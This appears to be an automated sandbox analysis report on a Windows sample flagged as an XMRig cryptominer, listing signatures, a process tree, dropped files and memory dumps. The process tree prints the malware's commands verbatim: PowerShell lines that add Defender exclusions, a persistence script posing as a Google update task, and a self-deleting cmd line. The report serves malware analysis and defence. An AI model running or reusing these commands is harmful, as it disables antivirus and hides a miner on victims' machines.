Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1787s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3408
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:3604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3660
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3016
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3628
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:4728
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:528
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:640
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4428
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4864
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4300
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:1616
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:2152
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:3464
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1832
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:2212

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 53KB
                • SHA256 73cab854fcfe52a49758393f119b97099853a1b15ec6cab397375e08e3cc828f
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 253KB
                • SHA256 a785efdcd4c2db90fb377f44386928633fd9da8f21e3e35dea2e2cf18e3e5bc3
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 dc798b1585697751183c3a011783416c823fcc1f389fb02d1e353b5a15c4da37
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_eajw1xlb.j2q.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eajw1xlb.j2q.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/528-50-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/528-47-0x0000029D7BF20000-0x0000029D7BF30000-memory.dmp

                memory/528-38-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/1832-51-0x00007FF6A9630000-0x00007FF6A9841000-memory.dmp

                memory/1832-120-0x00007FF6A9630000-0x00007FF6A9841000-memory.dmp

                memory/3016-33-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/3016-31-0x0000022B38F00000-0x0000022B38F10000-memory.dmp

                memory/3016-29-0x0000022B38F00000-0x0000022B38F10000-memory.dmp

                memory/3016-30-0x0000022B38F00000-0x0000022B38F10000-memory.dmp

                memory/3016-28-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/3464-131-0x00007FF61DD70000-0x00007FF61DD86000-memory.dmp

                memory/3464-124-0x00007FF61DD70000-0x00007FF61DD86000-memory.dmp

                memory/3604-0-0x00007FF6BE280000-0x00007FF6BE491000-memory.dmp

                memory/3604-35-0x00007FF6BE280000-0x00007FF6BE491000-memory.dmp

                memory/3660-16-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/3660-13-0x0000026548880000-0x0000026548890000-memory.dmp

                memory/3660-12-0x0000026548880000-0x0000026548890000-memory.dmp

                memory/3660-11-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/3660-6-0x00000265492E0000-0x0000026549302000-memory.dmp

                memory/4300-166-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-121-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-170-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-168-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-146-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-164-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-174-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-176-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-162-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-160-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-158-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-156-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-154-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-152-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-150-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-178-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-180-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-182-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-122-0x000001E9F7250000-0x000001E9F7270000-memory.dmp

                memory/4300-172-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-148-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-123-0x000001E9F7490000-0x000001E9F74B0000-memory.dmp

                memory/4300-184-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-125-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-127-0x000001E9F74D0000-0x000001E9F74F0000-memory.dmp

                memory/4300-126-0x000001E9F74B0000-0x000001E9F74D0000-memory.dmp

                memory/4300-129-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-130-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-186-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-132-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-133-0x000001E9F74B0000-0x000001E9F74D0000-memory.dmp

                memory/4300-135-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-136-0x000001E9F74D0000-0x000001E9F74F0000-memory.dmp

                memory/4300-138-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-140-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-142-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4300-144-0x00007FF6183D0000-0x00007FF618BC4000-memory.dmp

                memory/4428-62-0x0000016FAE300000-0x0000016FAE310000-memory.dmp

                memory/4428-73-0x0000016FAE300000-0x0000016FAE310000-memory.dmp

                memory/4428-61-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/4428-74-0x0000016FC6C60000-0x0000016FC6D15000-memory.dmp

                memory/4428-72-0x0000016FC6C40000-0x0000016FC6C5C000-memory.dmp

                memory/4428-78-0x0000016FC7880000-0x0000016FC789A000-memory.dmp

                memory/4428-75-0x0000016FC6D20000-0x0000016FC6D2A000-memory.dmp

                memory/4428-76-0x0000016FC6E90000-0x0000016FC6EAC000-memory.dmp

                memory/4428-77-0x0000016FC6E70000-0x0000016FC6E7A000-memory.dmp

                memory/4428-85-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/4428-82-0x0000016FAE300000-0x0000016FAE310000-memory.dmp

                memory/4428-80-0x0000016FC6EB0000-0x0000016FC6EB6000-memory.dmp

                memory/4428-81-0x0000016FC6EC0000-0x0000016FC6ECA000-memory.dmp

                memory/4428-79-0x0000016FC6E80000-0x0000016FC6E88000-memory.dmp

                memory/4864-99-0x000002233A550000-0x000002233A560000-memory.dmp

                memory/4864-98-0x000002233A550000-0x000002233A560000-memory.dmp

                memory/4864-113-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/4864-97-0x00007FFA62D40000-0x00007FFA63801000-memory.dmp

                memory/4864-100-0x00007FF4C94A0000-0x00007FF4C94B0000-memory.dmp

                memory/4864-110-0x000002233A550000-0x000002233A560000-memory.dmp

                memory/4864-111-0x000002233A550000-0x000002233A560000-memory.dmp